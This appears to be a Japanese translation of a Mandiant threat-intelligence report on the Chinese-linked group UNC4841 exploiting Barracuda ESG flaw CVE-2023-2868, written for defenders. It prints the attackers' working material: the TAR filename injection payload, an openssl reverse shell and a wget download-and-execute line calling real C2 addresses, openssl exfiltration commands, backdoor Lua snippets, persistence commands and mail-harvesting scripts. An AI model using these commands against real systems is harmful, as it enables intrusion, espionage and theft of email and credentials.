Blog

中国との関連が疑われる攻撃的、かつ高度なスキルを持つ攻撃者が Barracuda ESGのゼロデイ脆弱性(CVE-2023-2868)を悪用

Austin Larsen, John Palmisano, Mathew Potaczek, John Wolfram, Matthew McWhirt
Jun 15, 2023
12 min read
|   Last update Aug 17, 2023
Consulting
Threat Intelligence
FLARE
Malware
Zero Day Threats
Vulnerabilities
China

2023年5月23日、Barracudaは同社のEメールゲートウェイ「Barracuda Email Security Gateway(ESG)」のゼロデイ脆弱性(CVE-2023-2868)が2022年10月の時点で悪用されており、その調査のためにMandiantに支援を依頼したことを発表しました。Mandiantは調査を通じて、中国との関連が疑われる攻撃者を特定しました。この攻撃者は、現在UNC4841として追跡されており、世界中のさまざまな地域および業界にまたがるスパイ活動の初期侵入経路としてBarracuda ESGアプライアンスのサブセットをターゲットにしています。Mandiantは、中華人民共和国を支援するこの広範な攻撃キャンペーン活動の背後にいるのはUNC4841であると、高い確信を持って評価しています。

UNC4841は、早ければ2022年10月10日から、CVE-2023-2868を悪用して脆弱なBarracuda ESGアプライアンスの初期アクセスを取得するように設計された悪意のあるファイルの添付ファイルを含むメール(図2を参照)を被害組織に送信しました。キャンペーン期間中、UNC4841は、CVE-2023-2868の悪用に成功した後、ESGアプライアンス上で存在を確立および維持するために、主に3つの主要なコードファミリを使用していました。これらのコードファミリ(SALTWATER、SEASPY、SEASIDE)は、UNC4841の侵入活動のほとんどで確認されています。Barracudaの報告で説明されているように、3つのコードファミリはすべて、正規のBarracuda ESGモジュールまたはサービスへのなりすましを試みており、UNC4841は新たに確認されたマルウェアファミリでもこの傾向を継続しています。このブログポストでは、その詳細が初めて説明されます。

最初の侵害後、MandiantとBarracudaは、UNC4841が特定のデータを積極的なターゲットにしており、場合によってはESGアプライアンスへのアクセスを活用して、水平展開して被害組織のネットワークに侵入したり、他の被害組織のアプライアンスにメールを送信したりすることを確認しました。Mandiantはまた、UNC4841がESGアプライアンス上のプレゼンスを維持するために追加のツールを展開するのを観察しています。

2023年5月19日、UNC4841の活動がBarracudaチームによって最初に発見され、2023年5月21日にBarracudaは、影響を受けるアプライアンスからUNC4841を根絶することを目的とした封じ込めと修復のためのパッチのリリースを開始しました。このような取り組みに対して、UNC4841は迅速にマルウェアを変更し、アクセスを維持するために追加の永続性メカニズムを採用しました。

2023年5月22日から2023年5月24日にかけて、UNC4841は、少なくとも16カ国で多数の被害組織を標的に高頻度の攻撃活動を行いました。Mandiantは、このキャンペーンは世界中の官民両方の組織に影響を及ぼしており、その約3分の1が政府機関への攻撃であることを確認しています(図5を参照)。

2023年6月6日、Barracudaは影響を受けたすべてのBarracudaの顧客に対して、侵害されたアプライアンスを直ちに分離し、交換することを推奨するガイダンスを再度発表しました。またMandiantは、特定された攻撃者が継続的な攻撃活動のために永続性を維持することや、ESGアプライアンスから水平方向に移動する能力を示していることを踏まえ、影響を受けたネットワーク内でのさらなる調査とハンティングを行うことを推奨しています。

この後のセクションでは、調査の過程でBarracudaとMandiantが明らかにした技術的な詳細として、ESGアプライアンスの脆弱性を悪用した初期侵入、展開されたマルウェア、およびBarracudaの修復作業に対するUNC4841のTTP(戦術、技術、および手順)の変化について説明します。このブログは、Mandiantのアトリビューションに関する初期評価で締めくくられ、影響を受けた組織に対するハードニング、修復、およびハンティングのための推奨事項を示しています。

Mandiantは、UNC4841によるCVE-2023-2868の悪用後のBarracudaの毅然とした行動、透明性、および情報共有を称賛します。UNC4841によるこの脆弱性の悪用への対応とその後の調査には、Mandiant、Barracuda、およびその他複数の政府機関や情報機関のパートナーの協力が必要でした。Mandiantの調査は、ESGアプライアンスの全製品からのテレメトリデータだけでなく、製品に関する貴重な知識を提供してくれたバラクーダのエンジニアによる専門知識がなければ実現なし得ませんでした。Barracudaから提供されたデータによってMandiantは全容を理解し、大規模な調査を実施し、その後の攻撃者の活動を監視することができました。

Intrusion timeline
図1:侵入のタイムライン

CVE-2023-2868

CVE-2023-2868は、Barracuda Email Security Gateway(アプライアンス形式のみ)のバージョン5.1.3.001-9.2.0.006に存在するリモートコマンドインジェクションの脆弱性で、メールの添付ファイルをスクリーニングする際に存在します。

コマンドインジェクションの脆弱性は、TARファイルを処理するための解析ロジックに存在します。製品内の以下のコードが脆弱性の焦点となります:

qx{$tarexec -O -xf $tempdir/parts/$part '$f'};

これは事実上、Perlのqx{}ルーチンを通してシステム・コマンドとして実行される$f変数を介した、サニタイズされずフィルタリングされていないユーザー制御の入力に相当します。fは、TAR内のアーカイブされたファイルのファイル名を含むユーザー制御変数です。その結果、UNC4841はTARファイルを特定の方法でフォーマットし、Email Security Gateway製品の権限でリモートからシステムコマンドを実行するコマンドインジェクション攻撃を引き起こすことができました。

初期アクセス

UNC4841は、CVE-2023-2868を悪用して脆弱なBarracuda ESGアプライアンスに初期アクセスするように設計された特別に細工されたTARファイルの添付ファイルを含むメールを、2022年10月10日の早い段階から被害組織に送信していました。最初のメールでは、UNC4841はファイル名に「.tar」という拡張子を持つファイルを添付していましたが、後のメールでは「.jpg」や「.dat」といった異なる拡張子を使用していました。ファイル拡張子にかかわらず、観測された添付ファイルは、CVE-2023-2868を悪用する有効なTARファイルでした。

観測された電子メールには、一般的な電子メールの件名と本文のコンテンツが含まれており、通常は文法が不完全で、場合によっては未完成の内容が含まれていました。Mandiantは、UNC4841がスパムフィルターによってフラグを立てられたり、セキュリティアナリストによる詳細な調査を行うことを妨げる目的で、メッセージの本文と件名を一般的なスパムのように見せかけるよう細工した可能性が高いと評価しています。この手口は、Mandiantが過去に観測したゼロデイ脆弱性を悪用する高度なグループが用いているのと同じ手口です。

いくつかの例を図2に示します。

UNC4841 emails
図2a: UNC4841がCVE-2023-2868を悪用した添付ファイル付きで送信した電子メール
UNC4841 emails
図2b: UNC4841がCVE-2023-2868を悪用した添付ファイル付きで送信した電子メール
Emails sent by UNC4841 with attachments that exploit CVE-2023-2868
図2c:CVE-2023-2868を悪用した添付ファイル付きでUNC4841から送信された電子メール

UNC4841は、標的のアプライアンスに電子メールを配信するために、いくつかの異なる方法を使用しました。いくつかのケースでは、UNC4841は存在しないドメインを偽装してメールの "from "アドレスを使用していました。他のケースでは、Mandiantは、使用されていない可能性が高いドメインや、あるいは攻撃者が管理しているのではないと思われるドメインのアドレスを使用していることを確認しました。

メールヘッダの分析に基づき、MandiantはVultr VPSサーバ(216.238.112[.]82)からメールを送信している攻撃者を特定しました。あるケースでは、電子メールのヘッダーが、China Telecom(101.229.146[.]218)に割り当てられたIPアドレスから発信された電子メールであることを示していました。さらに、Mandiantは、x-mailerヘッダーにメールクライアントが使用されていることを確認しました。このメールクライアントは、普及率が低く、別の中国に関連するスパイ攻撃者がフィッシングメールを送信するために使用していることが確認されています。

またMandiantは、この攻撃者が、侵害されたBarracuda ESGアプライアンスを所有していることが判明した組織に属するメールアドレスを使用していたことを示すエクスプロイトメールも入手しています。さらに、UNC4841は、侵害されたアプライアンスから電子メールを送信して、他の侵害されたアプライアンス上のバックドア化されたモジュールを悪用したり、そのモジュールと相互作用したりすることが観察されました。決定的な証拠はありませんが、影響を受けたアプライアンスのサブセットで実行されたアーティファクトによると、UNC4841は、電子メールを送信するためのコマンドラインユーティリティであると思われる「CSmtp」という名前のユーティリティを使用しているようです。

なお、本稿執筆時点では、MandiantはUNC4841によって送信されたエクスプロイトメールのごく一部のサブセットしか確認していません。そのため、これらの調査結果は、この攻撃者が送信したすべてのメールを代表するものではない可能性があります。

リバース・シェル

UNC4841のTARファイル添付ファイルは、Barracuda ESGのCVE-2023-2868を悪用して、この攻撃者が標的とする特定のESGアプライアンス上でリバースシェルペイロードを実行します。現在までに回収された悪意のあるTARファイルは、すべて5つのアーカイブファイルから構成されており、そのうちの4つは実行チェーンに何の意味も持たず、エクスプロイトには使用されていないと思われます。脆弱性はこのファイル名の解析に存在するため、アーカイブされたファイルの内容は問題ではなく、ランダムな文字列で構成されています。

エクスプロイトのペイロード(ファイル名)は、バックスティック(`)とシングルクォート(')で囲まれており、コマンド置換の形でコマンドインジェクションを誘発します。復元されたTARアーカイブの1つに含まれるファイルの例を以下に示します:

'`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvc
GVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjE0OS4xNTY6ODA4MC
A+L3RtcC9wIDI+L2Rldi9udWxsO3JtIC90bXAvcCI=;ee=ba;G=s;_ech_o $abcdefg_${ee}se64
-d_${G}h;wh66489.txt`'

一旦暗号化解除されると、ペイロードは以下のフォーマットを含み、変数$abcdefgはbase64エンコードされた文字列で、デコードされ実行されます:

abcdefg=c2V0c2lkIH…;echo $abcdefg | base64 -d | sh

実行されるbase64ペイロードの例

setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet -connect 107.148.149[.]156:8080 >/tmp/p 2>/dev/null;rm /tmp/p"

この一連のシェルコマンドは、以下の動作を実現します:

  • setsid
    • 新しいセッションを実行し、ターミナルから切り離す。これにより、ターミナルが閉じられてしまっても、次のコマンドは実行され続ける。
  • mkfifo /tmp/p
    • tmp/pに名前付きパイプを作成し、サーバーから実行するコマンドを転送するためのストレージとして使用する。
  • sh -i </tmp/p 2>&1
    • 新しい対話型(-i)シェルを作成し、その入力を先ほど作成した名前付きパイプからリダイレクトする。2>&1 はエラー出力を標準出力にリダイレクトする。
  • openssl s_client -quiet -connect 107.148.149[.]156:8080 >/tmp/p 2>/dev/null
    • OpenSSLは、指定されたIPアドレスとポート(ここでは107.148.149[.]156:8080)に接続するクライアントを作成するために使用される。quietオプションは、セッションと証明書情報の出力を抑制するために使用します。このコマンドの標準出力は指定したパイプにリダイレクトされ、エラー出力は破棄される(2>/dev/null)。
  • rm /tmp/p
    • OpenSSLコネクションが閉じられた後、名前付きパイプを削除してクリーンアップする。

Mandiantはまた、この攻撃者が侵害後に同様のリバースシェルペイロードを持つシェルスクリプトを展開することも確認しています。名前付きパイプのパスはさまざまですが、通常は1文字または数字であることに注意してください。たとえば、/tmp/p、/tmp/p7、/tmp/t などです。

限られたケースではありますが、MandiantはUNC4841がアクセスした後にPythonを使ってbashシェルを起動するコマンドを実行することも確認しています:

python -c import pty;pty.spawn("/bin/bash")

バックドア ペイロード

アプライアンスにアクセスした後、UNC4841はwgetコマンドを実行し、サーバ上のオープンディレクトリからセカンダリバックドアペイロードをダウンロードしました。場合によっては、UNC4841は個々のマルウェア・ファイルを直接ダウンロードしました。他のケースでは、Mandiantは、バックドアのペイロードを含むTARファイルを、それらをインストールして永続化するためのシェルスクリプトとともにダウンロードすることを確認しました。SALTWATERセカンダリペイロードをダウンロード、展開、実行するためのwgetコマンドの例を以下に示します:

sh -c wget --no-check-certificate https://107.148.219[.]53:443/install_reuse/install_reuse.tar;tar -xvf install_reuse.tar;chmod +x update_v35.sh;./update_v35.sh

この一連のシェルコマンドは、以下の動作を可能にします:

  • wget --no-check-certificate https://107.148.219[.]53:443/install_reuse/install_reuse.tar
    • SSL/TLS証明書チェックを無視してtarアーカイブをダウンロードする
  • tar -xvf install_reuse.tar
    • アーカイブを展開する
  • chmod +x update_v35.sh 
    • マルウェアのインストーラー・シェルスクリプトの実行権限を有効にする
  • ./update_v35.sh
    • マルウェアのインストーラーを実行する

Mandiantはまた、UNC4841がwgetを使用してtemp[.]shでホストされているURLからRARおよびZIPペイロードをダウンロードしようとしているのを確認しましたが、これらの試みは失敗し、Mandiantは分析のためにこれらのペイロードを取得することはできませんでした。

現在までの調査の過程で、MandiantとBarracudaは、UNC4841が使用している3つの主要なバックドアを特定しました: SEASPY、SALTWATER、SEASIDEです。

SEASPYは、キャンペーン全体を通じてUNC4841によって展開されている主要なバックドアです。SEASPYは、ポートTCP/25(SMTP)およびTCP/587上のPCAPフィルタとして自身を確立し、「マジックパケット」によって起動されるパッシブバックドアです。Mandiantの分析では、SEASPYと一般公開されているバックドアであるcd00rのコード重複が確認されている。

SEASPYの初期の実装は、解凍されるとシンボルが維持され、ファイル名配下でインストールされました:

  • BarracudaMailService

バラクーダのパッチの後、Mandiantは、UNC4841がSEASPYを更新し、バイナリ内のシンボルを削除し、マルウェアをUPXでパックし、コマンド&コントロール(C2)サーバへのリバースシェルを確立する際に認証を使用することを確認しました。UNC4841はこの更新された亜種をファイル名で展開しました:

  • resize2fstab
  • resize_reisertab

図3はSEASPYのクリティカル・アタック・パスを示しています。

SEASPY attack path
図3:SEASPYの攻撃経路

SALTWATERは、バックドア機能を持つBarracuda SMTPデーモン(bsmtpd)のモジュールです。

SALTWATERは、任意のファイルをアップロードまたはダウンロードし、コマンドを実行し、プロキシおよびトンネリング機能を備えています。バックドアは、サードパーティのkubo/funchookフッキングライブラリを介して、send、recv、closeシステムコールのフックを使用して実装されており、バイナリ内で「チャネル」と呼ばれる5つのコンポーネントの大部分を占めています。バックドアとプロキシ機能を提供するだけでなく、これらのコンポーネントは古典的なバックドア機能を示しています。

5つのチャネル:

  • DownloadChannel
  • UploadChannel
  • ProxyChannel
  • ShellChannel
  • TunnelArgs

UNC4841は、SALTWATERを展開する際、悪意のある活動をさらに隠すためにタイムストンプを繰り返し利用しています。UNC4841はまた、SEASIDEを展開する際にもタイムストンプを利用していることが確認されています。

さらに、2023年5月21日から2023年5月22日の間、バラクーダによる最初の修復スクリプトの展開の直後に、UNC4841は、パッチが効果的に適用されないようにするために、SEASPYとSALTWATERの両方の関連コンポーネントに迅速に変更を加えました。2023年5月22日から2023年5月24日の間には、UNC4841は少なくとも16カ国にいる多数の被害者に対して高頻度で活動を行い、SEASPYの7つのコンポーネントとSALTWATERの少なくとも2つのコンポーネントを変更しました。

SEASIDEはBarracuda SMTPデーモン(bsmtpd)用のLuaベースのモジュールで、SMTP HELO/EHLOコマンドを監視して、エンコードされたC2 IPアドレスとポートを受信し、それをデコードして、リバースシェルを確立する外部バイナリ(WHIRLPOOL)に引数として渡します。

SANDBARは、トロイの木馬化されたlinux用ネットワークファイルシステムカーネルモジュール(nfsd_stub.ko)の形をしたルートキットであり、指定された名前で始まるプロセスを隠すフックを含んでいます。SANDBARは、/procファイルシステムがクエリされたときに表示されるプロセスIDを隠します。SANDBARは、/procファイルシステムの "file_operations "構造体の "iterate_shared "ルーチンと、それに続く "filldir "コールバックをフックしてプロセスを隠すことができます。これは、一般に公開されているルートキットのコードを流用したものと思われます。

Mandiantが分析したSANDBARサンプルは、"Bar "という名前で始まるプロセスを隠すように設定されていました。これは、"BarracudaMailService "という名前で展開されたSEASPYマルウェアを隠すために設計された可能性があります。ネットワークセキュリティを担当する方は、ESGがSANDBARに感染し、この方法でプロセスを非表示にしている場合、プロセスリストのコマンド出力またはログソースに、UNC4841によって展開されたマルウェアのプロセスが含まれていない可能性があることに注意する必要があります。

トロイの木馬化されたLUAモジュール

UNC4841は、バックドアのインストールに加えて、アプライアンスによって特定のメール関連イベントが受信されたときに実行される追加のコールバックロジックを挿入することで、複数の正規のBarracuda LUAモジュールをトロイの木馬化しました。2つの異なるマルウェア・ファミリー -  SEASPRAYとSKIPJACK - を追跡した被害者グループにおいて、合計3つのトロイの木馬化モジュールが確認されました。

SEASPRAYは、トロイの木馬化されたBarracudaメールセキュリティゲートウェイモジュールであるLuaで記述されたランチャです。SEASPRAYは受信メールの添付ファイルに対するイベントハンドラを登録します。添付ファイルのファイル名に特殊な値が含まれている場合、SEASPRAYはそのファイルを/tmpディレクトリにコピーし、フルパスをパラメータとしてリバースシェルを確立する外部バイナリ(WHIRLPOOL)を実行します。SEASPRAYを識別するLuaモジュールのコアの修正は、以下のスニペットに含まれています:

if string.find(attachment:filename(),'<REDACTED>') ~= nil then

        os.execute('cp '..tostring(tmpfile)..' /tmp/'..attachment:filename())

        os.execute('rverify'..' /tmp/'..attachment:filename())

end

Mandiantはまた、送信者のブロック/アクセプト機能を実装するモジュールに挿入されたSEASPRAYコードの亜種を発見しました

if string.find(sender,"<REDACTED>") ~= nil then

        os.execute('saslautchd'..' '..sender)

end

WHIRLPOOLは、TLSリバースシェルを作成するためのCベースのユーティリティです。WHIRLPOOLは、与えられたファイルパスである単一のCLI引数か、与えられたIPとPortである2つの引数を使用する。Mandiantは、WHIRLPOOLがSEASPRAYおよびSEASIDEとともに使用されていることを確認している。異なる被害者セットでは、異なるコールバック・メソッドが使用されていた。これは、発見される可能性を減らすために行われた可能性もありますし、新しいファイルを作成するのではなく、すでにシステム上にある既存のスクリプトを活用するために行われた可能性もあります。

SKIPJACKは、メールを処理するBarracudaメールセキュリティゲートウェイモジュールのトロイの木馬化バージョンであるLuaで記述されたパッシブバックドアです。SKIPJACKは、受信メールのヘッダーと件名のリスナーを登録し、"Content-ID "ヘッダーフィールドの内容をデコードして実行します。SKIPJACKは、電子メールのヘッダーを処理するリスナーへの以下のコードの挿入から構成されます(読みやすいように再フォーマットされています):

if hdr:name() == "Content-ID" then

        if hdr:body() ~= nil then

                if string.match(hdr:body(), "^[%w%+/=\r\n]+$") then

                        io.popen("echo " " .. hdr:body() .. "" | openssl aes-256-cbc -d -A -a -nosalt -K <REDACTED> -iv <REDACTED> 2>/dev/null | base64 -d | sh 2>/dev/null"):close()

                End

        end

end

Content-ID "フィールドの値は、正規表現 "^[%w%+/=rrn]+$" と照合され、Base64エンコードされていることが確認されます。これらの条件が満たされた場合、SKIPJACKはopensslを使用してコンテンツをAES復号化し、復号化されたデータをBase64デコードし、シェルコマンドとして実行します。opensslコマンドは以下のフラグを設定:

  • aes-256-cbc
    • 使用する暗号化アルゴリズムを指定する。この場合、暗号ブロック連鎖(CBC)モードで256ビットのキーを持つAES(Advanced Encryption Standard)を使用
  • -d
    • コマンドが復号化を実行することを示す。提供されたデータは、指定されたアルゴリズムとキーを使って復号化される
  • -A
    • 復号化を行う前に、入力をBase64エンコーディングからデコードする。入力データはBase64形式であることが前提。
  • -a
    • 復号化後の出力をBase64形式でエンコードする。復号化されたデータはBase64エンコーディングで表示される。
  • -nosalt
    • ソルト値の使用を無効にする。ソルトは暗号化で一般的に使用され、ランダム性を追加してセキュリティを向上させる。
  • -K <REDACTED>
    • 使用する暗号化キーを指定する。この場合、キーは16進数の値"<REDACTED>"で指定される。キーは、選択した暗号化アルゴリズムに適した長さでなければならない。
  • -iv <REDACTED>
    • 使用する初期化ベクター(IV)を指定する。

要約すると、OpenSSLコマンドは、特定のキーと初期化ベクトルを持つCBCモードのAES-256を使って入力データを復号化します。入力はBase64エンコードされていると仮定され、出力もBase64エンコードされる。このコマンドはソルト値を使用しません。

コマンド&コントロール・インフラ

UNC4841が使用するインフラストラクチャでは、セットアップを目的としてESGアプライアンスに搭載されているデフォルトの自己署名SSL一時証明書がホストされていることが確認されています。これは、UNC4841がリバースシェルのトラフィックをBarracudaインフラストラクチャへの正規の通信として偽装しようとしていたものと考えられます。

SHA-256: 6d1d7fe5be6f1db2d7aa2af2b53ef40c2ac06954d983bb40590944c4d00b6e57
SHA-1: 51f7900806f0783f09d45d5017a89322afeb3fc3
MD5: be5b6b52780d35f1392f45d96beb868c

Subject DN: C=US, ST=California, L=Campbell, O=Barracuda Networks, OU=Engineering, CN=Barracuda/[email protected]
Issuer DN: C=US, ST=California, L=Campbell, O=Barracuda Networks, OU=Engineering, CN=Barracuda/[email protected]
Serial Number: 0x2
Validity Period: 2011-09-29 to 2031-09-24

Mandiantは、侵害されたBarracudaアプライアンスから顧客がアップロードしたSSL証明書をUNC4841が流出することを確認しました(以下参照):

sh -c openssl s_client -quiet -connect 107.148.219[.]55:443 < /home/product/code/config/ssl_signed_cert.pem 2>&1

Mandiantは、UNC4841のインフラストラクチャ上に被害組織の正規の証明書と思われるものがホストされているケースをいくつか観測しています。このケースでは、攻撃者は被害組織自身がSSL証明書を設定したアプライアンスから、同じパス上に存在したこれらの証明書を抽出した可能性が高いと考えられます。

また、以下の証明書のように、攻撃者がデフォルト値で生成した自己署名証明書を単純に使用していたケースもありました:

SHA-256: 6b60c1c833979494caff32bf02391793ac85f533516367f12a1cea857bbacba7
SHA-1: 0ea7adb0b54d8bada0a8dc41ef4a9b255691d1ba
MD5: 683acdb559bbc7fb64431d1f579a8104

Subject DN: C=XX, L=Default City, O=Default Company Ltd
Issuer DN: C=XX, L=Default City, O=Default Company Ltd
Serial Number: 0xf3616b5e0e362361
Validity Period: 2022-11-30 to 2023-11-30

複数のケースで、UNC4841は、侵害されたBarracudaアプライアンスからリバースシェル通信を確立するために、IPアドレスではなくドメインを使用していました。インフラストラクチャの分析を通じて、Mandiantは中国との関連が疑われる他のスパイ活動に繋がるインフラストラクチャとの重なりをいくつか特定しました。このことは、同じグループが両方の攻撃活動の背後にいるのではなく、インフラの調達をサポートするエンティティを共有していることを示すとMandiantは推測しています。中国との関連性があるサイバースパイ活動は、ツールやインフラを共有することが多いため、この観察はUNC4841が中国に関連するものであるという我々の評価を強化するものです。また、UNC4841は短期間のコマンド&コントロールIPアドレスに解決するパークドメインを利用していると考えられています。この技法は、中国との関連が疑われる他のスパイ活動でも使用されていますが、中国の攻撃者特有のものではありません

永続的なアクセス維持の手法

調査の過程で、MandiantはUNC4841が侵害したアプライアンス上でアクセスの永続性を維持しようと試みたいくつかの方法を特定しました。永続性を維持するための最初の試みは、1時間ごとおよび1日ごとのcronジョブを介して最初のリバースシェルを実行することでした。これらのcronジョブは、以下のパスに配置されていました:

  • /etc/cron.hourly/core.sh
  • /etc/cron.hourly/aacore.sh
  • /etc/cron.hourly/appcheck.sh
  • /etc/cron.daily/core.sh
  • /etc/cron.daily/core_check.sh

UNC4841は、/etc/init.d/rcに以下を追加することにより、アプライアンスの再起動時にSEASPYを持続的に実行:

  • <PATH_TOSEASPY> eth0

etc/init.d/rcに永続性を設定するため、以下のスクリプトを利用

echo -e '/sbin/BarracudaMailService eth0' >> /etc/init.d/rc

cat /etc/init.d/rc

touch /etc/init.d/rc -r /etc/init.d/reboot

chmod +x /sbin/BarracudaMailService

setsid sh -c "/sbin/BarracudaMailService eth0" &

echo "set the bvp ok"

rm intentbas

...

それ以降の繰り返しの作業では、UNC4841は、アプライアンスが実行するupdate_version Perlスクリプトに以下のコマンドを挿入することで、SEASPYの持続的な実行を維持:

  • system("<PATH_TO_SEASPY> eth0")

このスクリプトの名前にかかわらず、これはBarracuda ESGのファームウェアアップデートやパッチの通常の適用におけるコンポーネントではありません。 

また、UNC4841はSANDBARカーネルルートキットを以下の場所に配置し、起動時に実行されるようにしました:

  • /lib/modules/4.9.17-barracuda0/kernel/net/sunrpc/nfsd_stub.ko

不正流出

侵害を受けた ESG アプライアンスのサブセットにおいて、UNC4841 による電子メール関連データのデー タのステージングと流出が確認されました。ほとんどの場合、UNC4841は/mail/tmp/ディレクトリ内の.tar.gzファイルにデータをステージングし、被害組織に対応する3文字の後に001などの数字が続く一貫したファイル命名規則を利用していました。

ステージングが完了すると、UNC4841はopensslを活用して.tar.gzファイルを攻撃者が管理するインフラストラクチャに流出させました。ステージングされたデータの流出に活用されたコマンドの例は以下:

sh -c openssl s_client -quiet -connect 137.175.51[.]147:443 < /mail/tmp/<REDACTED>.tar.gz 2>&1

さらに、一部のEメールセキュリティゲートウェイ(ESG)アプライアンス上で、Mandiantは、特定のユーザーまたはメールドメインに一致するメールを「mstore」で検索し、その結果を流出用にステージングするUNC4841が使用するシェルスクリプトを回収しました。mstore」は、電子メール・メッセージがアプライアンスに一時的に保存される場所です。この活動は、UNC4841による他の電子メール収集活動とは異なり、特定の個人または組織に基づく電子メールデータの標的型収集活動です。アカウントレベルで特定されたターゲットには、台湾や香港の有名な学者、東南アジアのアジアやヨーロッパの政府高官などが含まれていました。

以下のスクリプト1.shは、"mstore "を検索し、ユーザーの電子メールを流出させるために使用されました:

path="/mail/mstore/"

includeContentKeyword="<REDACTED>@\|<REDACTED>@\|@<REDACTED>\|<REDACTED>@\|<REDACTED>@\|<REDACTED>@\|<REDACTED>@\|"

excludeFileNameKeyword="*.log"

find ${path} -type f ! -name $excludeFileNameKeyword | while read line ;

do

result=`head -20 ${line} | grep $includeContentKeyword`

if [ -n "$result" ]

then

echo ${line} >> tmplist

fi

done

tar -T /mail/mstore/tmplist -czvf /mail/mstore/tmp.tar.gz

この攻撃者が使用した別のスクリプト start.sh:

#!/bin/bash

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>

Mandiantは、いくつかのケースでUNC4841がファイル共有サービス「anonfiles」を流出手段として利用するのを観察しました。

水平展開

UNC4841は、一部のケースで偵察活動を実施していることが観察されています。これらのケースでは、ホスト検出、ポートスキャン、ウェブフィンガープリント識別、ウェブ脆弱性スキャン、ドメイン制御識別、およびその他の機能を対象としたfscanのようなオープンソースツールを利用していました。下図はfscanツールの出力例です。ある環境では、攻撃者は9日間にわたって50以上のサブネットをスキャンし、その約80%は1日で完了しました。

<redacted>::25 open

<redacted>:25 open

<redacted>:587 open

<redacted>:443 open

[*] NetInfo:

[*]<redacted>

   [->]<redacted>

   [->]<redacted>

[*] WebTitle: https://<redacted>       code:200 len:701    title:IIS Windows Server

<redacted>:25 open

<redacted>:443 open

[*] LiveTop <redacted>/16     段存活数量为: 65

[*] LiveTop <redacted>/16     段存活数量为: 26

[*] LiveTop <redacted>/16     段存活数量为: 13

<redacted>:25 open

<redacted>:587 open

<redacted>:53 open

<redacted>:389 open

標的組織

標的となった組織は、官民を問わず世界中に及んでいます。エクスプロイト活動の大部分は米国に集中しているように見えるが、これは製品の顧客基盤を反映している可能性もあります(図4)。

Affected organizations by region
図4:攻撃の対象となった組織の地域別割合

特定された被害組織のほぼ3分の1が政府機関であり(図5)、このキャンペーンがスパイ活動を動機としていたという評価を裏付けています。さらに、データ流出の対象として重点的に狙われたケースでは、ASEAN外務省(MFA)、台湾および香港の外国貿易事務所、学術研究機関の電子メールドメインおよびユーザーを標的としたシェルスクリプトが発見されました。攻撃者はまた、被害対象となったこの政府が他国とのハイレベルな外交会議に参加しているのと同じタイミングで、中国との政治的または戦略的利害関係を持つ政府で働く個人の電子メールアカウントを探索しました。

Government agencies worldwide appear to have been disproportionately targeted.
図5:標的となった組織の官民の割合

分析をしている時点で入手可能な証拠によると、初期の侵害行為は中国本土に所在するごく一部のアプライアンスで発生したようです。この初期の侵害行為で使用された C2 通信は、8080 ポートも利用していましたが、その後、世界各地で発生した侵害行為では、ほとんどポート 443 またはポート 25 が利用されていました。

アトリビューション 

Mandiantは、UNC4841が中華人民共和国を支援するスパイ活動を行ったと高い確信を持って評価しています。現時点では、この活動を既知の脅威グループに帰属させることはできませんが、いくつかのインフラストラクチャとマルウェアコードの重複を確認した結果、これは中国に関連するスパイ活動であると高い確信を持っています。さらに、組織レベルでも個人アカウントレベルでも、標的は中国、特に台湾を含むアジア太平洋地域の政策優先度の高い問題に集中していました。

展望と影響

UNC4841は、防御的な取り組みに非常に敏感に反応し、TTPを積極的に変更して活動を維持することがわかっています。Mandiantでは、影響を受けたBarracudaのお客様に、この攻撃者の探索と被害を受けたネットワークの調査を継続することを強く推奨しています。UNC4841は、特にネットワークのセキュリティ担当者がこの攻撃者への対策を講じ、その活動が情報セキュリティコミュニティによって公開されるのに伴い、さらにそのTTPを変更し、ツールキットを修正し続けることが予想されます。推奨事項および検出ルールは、以下のセクションで説明します。

推奨事項 

Barracudaから2023年5月31日にリリースされたガイダンスに沿って、Mandiantは、パッチレベルに関係なく、侵害されたESGアプライアンスを直ちに交換することを推奨しています。影響を受けたアプライアンスを交換するための追加のガイダンスは、Barracudaのバラクーダの Trust Centerでご確認ください。

さらにMandiantでは、影響を受けたすべての組織に対して、ネットワーク内での調査とハンティング活動を実施することを推奨しています。調査には以下が含まれますが、これらに限定されるものではありません:

  • MandiantとBarracudaの両方が提供するすべてのIOCの影響を受ける環境を調査する。
  • メールログをレビューして、最初の侵害ポイントを特定する。
  • 侵害時にESG上にあったすべてのドメインベースおよびローカル認証情報を失効させ、ローテーションする。
  • 侵害時にESG上にあったすべての証明書を失効させ、再発行する。
  • 侵害時に ESG 上にあった認証情報が使用されていないか、環境全体を監視する。
  • 侵害時に ESG 上にあった証明書が使用されていないか、環境全体を監視する。
  • ネットワーク・ログをレビューし、データ流出や水平展開の兆候を確認する。
  • アプライアンスのフォレンジック・イメージをキャプチャし、フォレンジック分析を実施する。
    • 物理アプライアンス・モデルは、標準的な手順に従ってイメージ化できます。ほとんどのモデルには、RAID1 構成のホットスワップ可能なドライブが 2 台搭載されています。
    • 提供されている YARA ルールをアプライアンスのイメージに適用することで、フォレンジック調査者を支援することができます。

影響を受けた組織の調査を支援するため、Mandiantはこれまでに観測されたIOCをまとめたものを発表しています。

またMandiantは、このブログ記事と併せて、本件に対応する組織を支援するための詳細なアーキテクチャ・ハードニングガイドを作成しました。この文書には、以下の主要項目に関するガイダンスが含まれています:

  • ネットワーク通信の制限
  • パッチとアップデート
  • クレデンシャルのローテーションとセグメンテーション
  • ロギングとハンティング
  • インフラの水平展開へのハードニング

謝 辞

